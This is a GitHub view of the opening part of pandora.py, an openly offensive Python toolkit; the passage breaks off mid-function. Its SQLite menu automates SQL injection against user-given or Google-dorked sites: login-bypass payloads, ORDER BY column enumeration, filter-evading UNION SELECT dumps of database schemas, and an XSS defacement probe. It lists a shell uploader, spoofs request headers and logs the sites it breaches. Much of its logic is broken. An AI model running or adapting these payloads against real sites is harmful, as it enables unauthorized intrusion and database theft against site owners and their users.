-
Notifications
You must be signed in to change notification settings - Fork 27
/
pandora.py
5628 lines (5332 loc) · 345 KB
/
pandora.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import sys
try:
print('')
except SyntaxError as e:
if e == True:
print("Hey Idiot, Use python3.")
import time
try:
print("Checking For Module..")
except ModuleNotFoundError as e:
if e == True:
print('Module Not Found: ', (e))
import time
import os
from os.path import exists
import googlesearch #googlesearch-python
import wget #wget
import urllib.request #urllib
import colorama
from threading import Thread, Lock #threading2
from subprocess import Popen, PIPE
from signal import SIGINT, signal
import scapy #scapy
from colorama import Fore, Style, init
import random
import socket
import requests
import sys
from googlesearch import search
from subprocess import getoutput
from urllib.parse import urlparse
import argparse
import ipaddress
import faker
from faker import Faker
from bs4 import BeautifulSoup
import re
import phonenumbers
from phonenumbers import timezone, geocoder, carrier
from pythonping import ping
import exiftool
import importlib
import socket #new
import threading
import os
import sys
import colorama
import cloudscraper
import random
from colorama import Fore, Back, Style, init
import threading, socket, random, http.client, scapy.all
from scapy.all import IP, TCP, sr1, ARP, Ether, srp
import struct, string
from scapy.all import *
from urllib.parse import urljoin
global count
global attack
global user_ip
user_ip = Faker()
ip_addr = user_ip.ipv4()
ip_address = user_ip.ipv6()
MAX_IPV4 = ipaddress.IPv4Address._ALL_ONES # 2 ** 32 - 1
MAX_IPV6 = ipaddress.IPv6Address._ALL_ONES # 2 ** 128 - 1
def randomipv4():
return ipaddress.IPv4Address._string_from_ip_int(
random.randint(0, MAX_IPV4)
)
def randomipv6():
return ipaddress.IPv6Address._string_from_ip_int(
random.randint(0, MAX_IPV6)
)
random.seed(444)
randomipv4()
'79.19.184.109'
randomipv4()
'3.99.136.189'
randomipv4()
'124.4.25.53'
randomipv6()
'4fb7:270d:8ba9:c1ed:7124:317:e6be:81f2'
randomipv6()
'fe02:b348:9465:dc65:6998:6627:1300:29c9'
randomipv6()
'74a:dd88:1ff2:bfe3:1f3:81ad:debd:db88'
address = randomipv4()
ip6 = randomipv6()
global user_agents
user_agents = ['Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36']
global success, info, fail
success, info, fail = Fore.GREEN + Style.BRIGHT, Fore.YELLOW + \
Style.BRIGHT, Fore.RED + Style.BRIGHT
if os.name == 'posix': # Untuk sistem seperti Linux atau macOS
os.system('clear')
elif os.name == 'nt': # Untuk sistem Windows
os.system('cls')
red = '\033[1;91m'
white = '\033[0m'
green = '\033[1;32m'
yellow = '\033[1;33m'
blue = '\033[1;34m'
red_t = '\033[0;31;40m'
gray = '\033[1;37;40m'
gold = '\033[0;33m'
def sqlite():
if os.name == 'posix':
os.system('clear')
elif os.name == 'nt':
os.system('cls')
pass
logo = f"""{gold}
+--------------------------------------+
| |
| {green}WELCOME {red}To SQLITE!{gold} |
| |
+--------------------------------------+
{white}SQLite V1
{gold}+----------{yellow}[{green}~{yellow}] {red_t}SQLite Menu {yellow}[{green}~{yellow}]{gold}---------+
{gold}| [{green}01{gold}] {yellow}Single site injection{gold} |
{gold}| [{green}02{gold}] {yellow}Dork vuln site{gold} |
{gold}| [{green}03{gold}] {yellow}Dork + Auto Inject{gold} |
{gold}| [{green}04{gold}] {yellow}Shell Uploader{gold} |
{gold}| [{green}05{gold}] {yellow}Web Crawler{gold} |
{gold}| [{green}06{gold}] {yellow}Shell Finder V2{gold} |
{gold}| [{green}07{gold}] {yellow}None{gold} |
{gold}| [{green}08{gold}] {yellow}None{gold} |
{gold}| [{green}09{gold}] {yellow}None{gold} |
{gold}| [{green}10{gold}] {yellow}None{gold} |
{gold}| [{green}11{gold}] {yellow}None{gold} |
{gold}| [{green}12{gold}] {yellow}None{gold} |
{gold}| [{green}13{gold}] {yellow}None{gold} |
{gold}| [{green}14{gold}] {yellow}None{gold} |
{gold}+--------------------------------------+
"""
try:
os.mkdir('sqlite')
except:
pass
def start_savelog(target, uri, value):
target_directory = 'sqlite'
file_name = 'Injected_Sites.txt'
path = os.path.join(target_directory, file_name)
with open(path, 'a') as file:
try:
logs = f'Sites : {target}\n'
logs += f'Injected Payload [Order By]: {uri}\n'
logs += f'Injected Columns : {value}\n\n'
file.write(str(logs))
file.close()
except PermissionError:
print("Permission Error Detected, If u are using kali linux or else, please use root with typing 'sudo su' ! ")
except:
pass
def save_log2(target, ul):
a = f"Site : {target}\n"
a += f"Type : Injected\n"
a += f"Payload : {ul}"
target_directory = 'sqlite'
file_name = 'Injected_Sites_Phase3.txt'
path = os.path.join(target_directory, file_name)
with open(path, 'a') as file:
try:
file.write(str(a))
file.close()
except PermissionError:
print("Permission Error Detected, If u are using kali linux or else, please use root with typing 'sudo su' ! ")
except:
pass
print(logo)
choi = input(yellow + f"Sqlite@Choices ~{white}$ ")
def singleinject():
byps1 = "' OR 1=1; --"
byps2 = "' OR 'a'='a'; --"
byps3 = "' OR 1=1# --"
byps4 = "' OR 'a'='a'# --"
byps5 = "' OR 1=1/*"
byps6 = "' OR 'a'='a'/*"
byps7 = "'-1' OR '1'='1'"
byps8 = "'-1' OR 'a'='a'"
byps9 = "' OR 1=1/*"
byps10 = "' OR 'a'='a'/*"
unibas = "'UNION SELECT column1, column2 FROM table_name'" #dump
ecode = "Warning: mysql_query|Warning: mysql_fetch_row|Warning: mysql_fetch_assoc|Warning: mysql_fetch_object|Warning: mysql_numrows|Warning: mysql_num_rows|Warning: mysql_fetch_array|Warning: pg_connect|Supplied argument is not a valid PostgreSQL result|PostgreSQL query failed: ERROR: parser: parse error|MySQL Error|MySQL ODBC|MySQL Driver|supplied argument is not a valid MySQL result resource|on MySQL result index|Oracle ODBC|Oracle Error|Oracle Driver|Oracle DB2|Microsoft JET Database Engine error|ADODB.Command|ADODB.Field error|Microsoft Access Driver|Microsoft VBScript runtime error|Microsoft VBScript compilation error|Microsoft OLE DB Provider for SQL Server error|OLE/DB provider returned message|OLE DB Provider for ODBC|ODBC SQL|ODBC DB2|ODBC Driver|ODBC Error|ODBC Microsoft Access|ODBC Oracle|JDBC SQL|JDBC Oracle|JDBC MySQL|JDBC error|JDBC Driver|Invision Power Board Database Error|DB2 ODBC|DB2 error|DB2 Driver|error in your SQL syntax|unexpected end of SQL command|invalid query|SQL command not properly ended|Error converting data type varchar to numeric|An illegal character has been found in the statement|Active Server Pages error|ASP.NET_SessionId|ASP.NET is configured to show verbose error messages|A syntax error has occurred|ORA-01756|Error Executing Database Query|Unclosed quotation mark|BOF or EOF|GetArray|FetchRow|Input string was not in a correct format|Warning: include|Warning: require_once|function.include|Disallowed Parent Path|function.require|Warning: main|Warning: session_start|Warning: getimagesize|Warning: mysql_result|Warning: pg_exec|Warning: array_merge|Warning: preg_match|Incorrect syntax near|ORA-00921: unexpected end of SQL command|Warning: ociexecute|Warning: ocifetchstatement|error ORA-"
lfi_path = '/etc/passwd'
order_by = 'SELECT * FROM orders ORDER BY 1, 2, 3, 4, 5, 6, 7, 8, 9, 10;'
target = str(input(f"{yellow}[{green}~{yellow}] {gold}Enter your target url [ Example : https://example.com/news.php?id=1 ] :{white} "))
tampers = input(f"{yellow}[{green}~{yellow}] {gold}Use Tamper ? Y/N :{white} ")
if tampers.lower() == 'y':
pass
elif tampers.lower() == 'n':
pass
else:
print(f"{yellow}[ {red}CRITICAL {yellow}] {gold}Invalid Options! {white}")
if (target.lower() == 'https://' or 'http://'):
target = target
else:
target = 'https://'+target
def dumps():
print("Start Dump..")
def start_orderby():
heads = {
f"User-Agent": f"{random.choice(user_agents)}",
f"Host": f"{target}",
f"Content-Length": "20",
"Accept-Language": "en-US,en;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Cache-Control": "no-cache",
"Accept": "*/*",
"Content-Type": "text/html",
"Referer": "https://gtamper.co.me",
"X-Forwarded-For": "127.0.0.1",
"X-Custom-Header": "GTamper",
}
pass
c = int(0)
value = 0
for i in range(50):
c += 1
value += 1
time.sleep(0.5)
#' ORDER BY 1,2,3--+
t = f','.join(str(t) for t in range(1, value + 1))
onion = (f"' ORDER BY {t}--+")
print(f"{yellow}[{green}~{yellow}] {gold}Starting ORDER BY until 50.{yellow}", c, end='\r')
uri = target+onion
r = requests.get(uri, headers=heads)
if (r.text == "in 'order clause'" in r.text):
print(f"{yellow}[{green} Injected! {yellow}] {gold} Site : {target} Injected!, Detected : Column {value}")
print(f"{yellow}[{green} Injected! {yellow}] {gold} Payload : {uri}")
start_savelog(target, uri, value)
else:
pass
def start_injection_sql():
heads = {
f"User-Agent": f"{random.choice(user_agents)}",
f"Host": f"{target}",
f"Content-Length": "20",
"Accept-Language": "en-US,en;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Cache-Control": "no-cache",
"Accept": "*/*",
"Content-Type": "text/html",
"Referer": "https://gtamper.co.me",
"X-Forwarded-For": "127.0.0.1",
"X-Custom-Header": "GTamper",
}
def xss():
xss = "'--+<h1>Touched By JogjaXploit</h1>"
print(f"{yellow}[{green}~{yellow}] {gold}Testing XSS{white}")
url = target+xss
req = requests.get(url, headers=heads)
if ('Touched By JogjaXploit' in req.text):
print(f"{yellow}[{green}~{yellow}] {gold}Target is VULN with XSS{white}")
else:
print(f"{yellow}[ {red}CRITICAL {yellow}] {gold}Target is not VULN with XSS {white}")
def phase2():
ecode1 = "Forbidden"
value = 0
dumpz = '(select%20group_concat(0x3c6c693e,schema_name,0x3c6c693e)%20from%20information_schema.schemata)'
for i in range(50):
value += 1
t = f','.join(str(t) for t in range(1, value + 1))
onion = (f"{t}")
ott = onion
bypass_dumps1 = f"'/**8**/and/**8**/mod(9,9)/**8**//*!50000union*//**8**//*!50000select*//**8**/{ott}"
print(f"{yellow}[{green}~{yellow}] {gold}Starting dump target dbs until 50.. ", value, end='\r')
yuhuh = target+bypass_dumps1
if tampers.lower() == 'y':
e = requests.get(yuhuh, headers=heads)
elif tampers.lower() == 'n':
e = requests.get(yuhuh)
else:
exit()
if (e.text == "1" or e.text == "2" or e.text == "3" or e.text == "4" or e.text == "5" or e.text == "6" or e.text == "7" or e.text == "8" or e.text == "9" or e.text == "10" or e.text == "11" or e.text == "12" or e.text == "13" or e.text == "14" or e.text == "15" or e.text == "16" or e.text == "17" or e.text == "18" or e.text == "19" or e.text == "20" or e.text == "21" or e.text == "22" or e.text == "23" or e.text == "24" or e.text == "25" or e.text == "26" or e.text == "27" or e.text == "28" or e.text == "29" or e.text == "30" or e.text == "31" or e.text == "32" or e.text == "33" or e.text == "34" or e.text == "35" or e.text == "36" or e.text == "37" or e.text == "38" or e.text == "39" or e.text == "40" or e.text == "41" or e.text == "42" or e.text == "43" or e.text == "44" or e.text == "45" or e.text == "46" or e.text == "47" or e.text == "48" or e.text == "49" or e.text == "50" in e.text):
print(f"{yellow}[{green}~{yellow}] {gold}Trying to dump database..{white}")
dumps = bypass_dumps1.replace(f"{value}", dumpz)
domp = target+dumps
def inject():
if tampers.lower() == 'y':
e = requests.get(domp, headers=heads)
elif tampers.lower() == 'n':
e = requests.get(domp)
if ecode1 in e.text:
print(f"{yellow}[{red} CRITICAL {yellow}] {gold} 403 Forbidden")
pass
if (e.text == 'information_schema' in e.text):
print(f"{yellow}[ {red}!! {yellow}] {gold} Injected !")
return e.text
inject()
print("Finished")
def phase3():
value = 0
dumpz = '(select%20group_concat(0x3c6c693e,schema_name,0x3c6c693e)%20from%20information_schema.schemata)'
for i in range(50):
value += 1
print(f"{yellow}[{green}~{yellow}] {gold}Starting Re-Inject (Dump Payload) Until 50 [ Phase3 ]{yellow}", value, white, end='\r')
t = f','.join(str(t) for t in range(1, value + 1))
onion = (f"{t},")
ott = onion
a = f"'/**8**/and/**8**/mod(9,9)/**8**//*!50000union*//**8**//*!50000select*//**8**/{ott}{dumpz}"
ul = target+a
if tampers.lower() == 'y':
reques = requests.get(ul, headers=heads)
elif tampers.lower() == 'n':
reques = requests.get(ul)
else:
print(f"{yellow}[{red}~{yellow}] {red} Invalid Options {white}")
exit()
if "information_schema" in reques.text:
print(f"{yellow}[ {green}Injected {yellow}] {gold}Site : {url} is injected! {white}")
print(f"{yellow}[ {green}Injected {yellow}] {gold}Payload : {ul} {white}")
save_log2(target, ul)
else:
print(f"{yellow}[ {red}CRITICAL {yellow}] {gold} Site is not vulnerable with sqli..{white}")
print("Finished")
byps = ["' OR 1=1; --", "' OR 'a'='a'; --", "' OR 1=1# --", "' OR 'a'='a'# --", "' OR 1=1/*", "' OR 'a'='a'/*", "'-1' OR '1'='1'", "'-1' OR 'a'='a'", "' OR 1=1/*", "' OR 'a'='a'/*"]
start_orderby()
phase2()
phase3()
xss()
for method in byps:
url = target+method
print(yellow + f"\n{yellow}[{green}~{yellow}] {gold}Inject Process..{yellow}")
if tampers.lower() == 'n':
req = requests.get(url)
elif tampers.lower() == 'y':
req = requests.get(url, headers=heads)
else:
print(red + "invalid option")
exit()
if ("Warning: mysql_query" or "Warning: mysql_fetch_row" or "Warning: mysql_fetch_assoc" or "Warning: mysql_fetch_object" or "Warning: mysql_numrows" or "Warning: mysql_num_rows" or "Warning: mysql_fetch_array" or "Warning: pg_connect" or "Supplied argument is not a valid PostgreSQL result" or "PostgreSQL query failed: ERROR: parser: parse error" or "MySQL Error" or "MySQL ODBC" or "MySQL Driver" or "supplied argument is not a valid MySQL result resource" or "on MySQL result index" or "Oracle ODBC" or "Oracle Error" or "Oracle Driver" or "Oracle DB2" or "Microsoft JET Database Engine error" or "ADODB.Command" or "ADODB.Field error" or "Microsoft Access Driver" or "Microsoft VBScript runtime error" or "Microsoft VBScript compilation error" or "Microsoft OLE DB Provider for SQL Server error" or "OLE/DB provider returned message" or "OLE DB Provider for ODBC" or "ODBC SQL" or "ODBC DB2" or "ODBC Driver" or "ODBC Error" or "ODBC Microsoft Access" or "ODBC Oracle" or "JDBC SQL" or "JDBC Oracle" or "JDBC MySQL" or "JDBC error" or "JDBC Driver" or "Invision Power Board Database Error" or "DB2 ODBC" or "DB2 error" or "DB2 Driver" or "error in your SQL syntax" or "unexpected end of SQL command" or "invalid query" or "SQL command not properly ended" or "Error converting data type varchar to numeric" or "An illegal character has been found in the statement" or "Active Server Pages error" or "ASP.NET_SessionId" or "ASP.NET is configured to show verbose error messages" or "A syntax error has occurred" or "ORA-01756" or "Error Executing Database Query" or "Unclosed quotation mark" or "BOF or EOF" or "GetArray" or "FetchRow" or "Input string was not in a correct format" or "Warning: include" or "Warning: require_once" or "function.include" or "Disallowed Parent Path" or "function.require" or "Warning: main" or "Warning: session_start" or "Warning: getimagesize" or "Warning: mysql_result" or "Warning: pg_exec" or "Warning: array_merge" or "Warning: preg_match" or "Incorrect syntax near" or "ORA-00921: unexpected end of SQL command" or "Warning: ociexecute" or "Warning: ocifetchstatement" or "error ORA-" or "u have an error in your SQL syntax" in req.text):
print(yellow + f"[{green}~{yellow}] {gold}Target is {green}vuln!{yellow}")
print(yellow + f"Payload : {url}")
else:
print(f"{yellow}[ {red}CRITICAL {yellow}] {gold}Maybe target has no vuln.{white}")
def testing():
heads = {
f"User-Agent": f"{random.choice(user_agents)}",
f"Host": f"{target}",
f"Content-Length": "20",
"Accept-Language": "en-US,en;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Cache-Control": "no-cache",
"Accept": "*/*",
"Content-Type": "text/html",
"Referer": "https://gtamper.co.me",
"X-Forwarded-For": "127.0.0.1",
"X-Custom-Header": "GTamper",
}
payload = ["'", "'--+", "'or 1=1 1-- +", "' OR 1=1; --"]
print(yellow + f"[~] Testing vuln with a {red}coma..{yellow}")
for pay in payload:
def testingsql():
if tampers.lower() == 'n':
a = requests.get(target+pay).text
elif tampers.lower() == 'y':
a = requests.get(target+pay, headers=heads).text
if ("Warning: mysql_query" or "Warning: mysql_fetch_row" or "Warning: mysql_fetch_assoc" or "Warning: mysql_fetch_object" or "Warning: mysql_numrows" or "Warning: mysql_num_rows" or "Warning: mysql_fetch_array" or "Warning: pg_connect" or "Supplied argument is not a valid PostgreSQL result" or "PostgreSQL query failed: ERROR: parser: parse error" or "MySQL Error" or "MySQL ODBC" or "MySQL Driver" or "supplied argument is not a valid MySQL result resource" or "on MySQL result index" or "Oracle ODBC" or "Oracle Error" or "Oracle Driver" or "Oracle DB2" or "Microsoft JET Database Engine error" or "ADODB.Command" or "ADODB.Field error" or "Microsoft Access Driver" or "Microsoft VBScript runtime error" or "Microsoft VBScript compilation error" or "Microsoft OLE DB Provider for SQL Server error" or "OLE/DB provider returned message" or "OLE DB Provider for ODBC" or "ODBC SQL" or "ODBC DB2" or "ODBC Driver" or "ODBC Error" or "ODBC Microsoft Access" or "ODBC Oracle" or "JDBC SQL" or "JDBC Oracle" or "JDBC MySQL" or "JDBC error" or "JDBC Driver" or "Invision Power Board Database Error" or "DB2 ODBC" or "DB2 error" or "DB2 Driver" or "error in your SQL syntax" or "unexpected end of SQL command" or "invalid query" or "SQL command not properly ended" or "Error converting data type varchar to numeric" or "An illegal character has been found in the statement" or "Active Server Pages error" or "ASP.NET_SessionId" or "ASP.NET is configured to show verbose error messages" or "A syntax error has occurred" or "ORA-01756" or "Error Executing Database Query" or "Unclosed quotation mark" or "BOF or EOF" or "GetArray" or "FetchRow" or "Input string was not in a correct format" or "Warning: include" or "Warning: require_once" or "function.include" or "Disallowed Parent Path" or "function.require" or "Warning: main" or "Warning: session_start" or "Warning: getimagesize" or "Warning: mysql_result" or "Warning: pg_exec" or "Warning: array_merge" or "Warning: preg_match" or "Incorrect syntax near" or "ORA-00921: unexpected end of SQL command" or "Warning: ociexecute" or "Warning: ocifetchstatement" or "error ORA-" or "u have an error in your SQL syntax" in a):
print(f"{yellow}[{green}~{yellow}] {gold}Site : {target} is Vuln!{white}")
else:
print(f"{yellow}[{green}~{yellow}] {gold}Site : {red}{target}{yellow} maybe not vuln {white}")
choicess = input("Do you want to continue ? Y/N : ")
if choicess.lower() == 'y':
start_injection_sql()
else:
exit()
start_injection_sql()
testingsql()
testing()
def dorkninject(site):
byps1 = "' OR 1=1; --"
byps2 = "' OR 'a'='a'; --"
byps3 = "' OR 1=1# --"
byps4 = "' OR 'a'='a'# --"
byps5 = "' OR 1=1/*"
byps6 = "' OR 'a'='a'/*"
byps7 = "'-1' OR '1'='1'"
byps8 = "'-1' OR 'a'='a'"
byps9 = "' OR 1=1/*"
byps10 = "' OR 'a'='a'/*"
unibas = "'UNION SELECT column1, column2 FROM table_name'" #dump
ecode = "Warning: mysql_query|Warning: mysql_fetch_row|Warning: mysql_fetch_assoc|Warning: mysql_fetch_object|Warning: mysql_numrows|Warning: mysql_num_rows|Warning: mysql_fetch_array|Warning: pg_connect|Supplied argument is not a valid PostgreSQL result|PostgreSQL query failed: ERROR: parser: parse error|MySQL Error|MySQL ODBC|MySQL Driver|supplied argument is not a valid MySQL result resource|on MySQL result index|Oracle ODBC|Oracle Error|Oracle Driver|Oracle DB2|Microsoft JET Database Engine error|ADODB.Command|ADODB.Field error|Microsoft Access Driver|Microsoft VBScript runtime error|Microsoft VBScript compilation error|Microsoft OLE DB Provider for SQL Server error|OLE/DB provider returned message|OLE DB Provider for ODBC|ODBC SQL|ODBC DB2|ODBC Driver|ODBC Error|ODBC Microsoft Access|ODBC Oracle|JDBC SQL|JDBC Oracle|JDBC MySQL|JDBC error|JDBC Driver|Invision Power Board Database Error|DB2 ODBC|DB2 error|DB2 Driver|error in your SQL syntax|unexpected end of SQL command|invalid query|SQL command not properly ended|Error converting data type varchar to numeric|An illegal character has been found in the statement|Active Server Pages error|ASP.NET_SessionId|ASP.NET is configured to show verbose error messages|A syntax error has occurred|ORA-01756|Error Executing Database Query|Unclosed quotation mark|BOF or EOF|GetArray|FetchRow|Input string was not in a correct format|Warning: include|Warning: require_once|function.include|Disallowed Parent Path|function.require|Warning: main|Warning: session_start|Warning: getimagesize|Warning: mysql_result|Warning: pg_exec|Warning: array_merge|Warning: preg_match|Incorrect syntax near|ORA-00921: unexpected end of SQL command|Warning: ociexecute|Warning: ocifetchstatement|error ORA-"
lfi_path = '/etc/passwd'
order_by = 'SELECT * FROM orders ORDER BY 1, 2, 3, 4, 5, 6, 7, 8, 9, 10;'
target = site
tampers = 'y'
if (target.lower() == 'https://' or 'http://'):
target = target
else:
target = 'https://'+target
def dumps():
print("Start Dump..")
def start_orderby():
heads = {
f"User-Agent": f"{random.choice(user_agents)}",
f"Host": f"{target}",
f"Content-Length": "20",
"Accept-Language": "en-US,en;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Cache-Control": "no-cache",
"Accept": "*/*",
"Content-Type": "text/html",
"Referer": "https://gtamper.co.me",
"X-Forwarded-For": "127.0.0.1",
"X-Custom-Header": "GTamper",
}
pass
c = int(0)
value = 0
for i in range(50):
c += 1
value += 1
time.sleep(0.5)
#' ORDER BY 1,2,3--+
t = f','.join(str(t) for t in range(1, value + 1))
onion = (f"' ORDER BY {t}--+")
print(f"{yellow}[{green}~{yellow}] {gold}Starting ORDER BY until 50.{yellow}", c, end='\r')
uri = target+onion
r = requests.get(uri, headers=heads)
if (r.text == 'known column' in r.text):
print(f"{yellow}[{green} Injected! {yellow}] {gold} Site : {target} Injected!, Detected : Column {value}")
print(f"{yellow}[{green} Injected! {yellow}] {gold} Payload : {uri}")
start_savelog(target, uri, value)
else:
continue
def start_injection_sql():
heads = {
f"User-Agent": f"{random.choice(user_agents)}",
f"Host": f"{target}",
f"Content-Length": "20",
"Accept-Language": "en-US,en;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Cache-Control": "no-cache",
"Accept": "*/*",
"Content-Type": "text/html",
"Referer": "https://gtamper.co.me",
"X-Forwarded-For": "127.0.0.1",
"X-Custom-Header": "GTamper",
}
def xss():
xss = "'--+<h1>Touched By JogjaXploit</h1>"
print(f"{yellow}[{green}~{yellow}] {gold}Testing XSS{white}")
url = target+xss
req = requests.get(url, header=heads)
if ('Touched By JogjaXploit' in req.text):
print(f"{yellow}[{green}~{yellow}] {gold}Target is VULN with XSS{white}")
else:
print(f"{yellow}[ {red}CRITICAL {yellow}] {gold}Target is not VULN with XSS {white}")
def phase2():
ecode1 = "Forbidden"
value = 0
dumpz = '(select%20group_concat(0x3c6c693e,schema_name,0x3c6c693e)%20from%20information_schema.schemata)'
for i in range(50):
value += 1
t = f','.join(str(t) for t in range(1, value + 1))
onion = (f"{t}")
ott = onion
bypass_dumps1 = f"'/**8**/and/**8**/mod(9,9)/**8**//*!50000union*//**8**//*!50000select*//**8**/{ott}"
print(f"{yellow}[{green}~{yellow}] {gold}Starting dump target dbs until 50.. ", value, end='\r')
yuhuh = target+bypass_dumps1
if tampers.lower() == 'y':
e = requests.get(yuhuh, headers=heads)
elif tampers.lower() == 'n':
e = requests.get(yuhuh)
else:
exit()
if ("1" or "2" or "3" or "4" or "5" or "6" or "7" or "8" or "9" or "10" or "11" or "12" or "13" or "14" or "15" or "16" or "17" or "18" or "19" or "20" or "21" or "22" or "23" or "24" or "25" or "26" or "27" or "28" or "29" or "30" or "31" or "32" or "33" or "34" or "35" or "36" or "37" or "38" or "39" or "40" or "41" or "42" or "43" or "44" or "45" or "46" or "47" or "48" or "49" or "50" or "information_schema" in e.text):
pass
print(f"{yellow}[{green}~{yellow}] {gold}Trying to dump database..{white}")
dumps = bypass_dumps1.replace(f"{value}", dumpz)
domp = target+dumps
def inject():
if tampers.lower() == 'y':
e = requests.get(domp, headers=heads)
elif tampers.lower() == 'n':
e = requests.get(domp)
if ecode1 in e.text:
print(f"{yellow}[{red} CRITICAL {yellow}] {gold} 403 Forbidden")
pass
print(e.text)
inject()
print("Finished")
byps = ["' OR 1=1; --", "' OR 'a'='a'; --", "' OR 1=1# --", "' OR 'a'='a'# --", "' OR 1=1/*", "' OR 'a'='a'/*", "'-1' OR '1'='1'", "'-1' OR 'a'='a'", "' OR 1=1/*", "' OR 'a'='a'/*"]
start_orderby()
phase2()
xss()
for method in byps:
url = target+method
print(yellow + f"\n{yellow}[{green}~{yellow}] {gold}Inject Process..{yellow}")
if tampers.lower() == 'n':
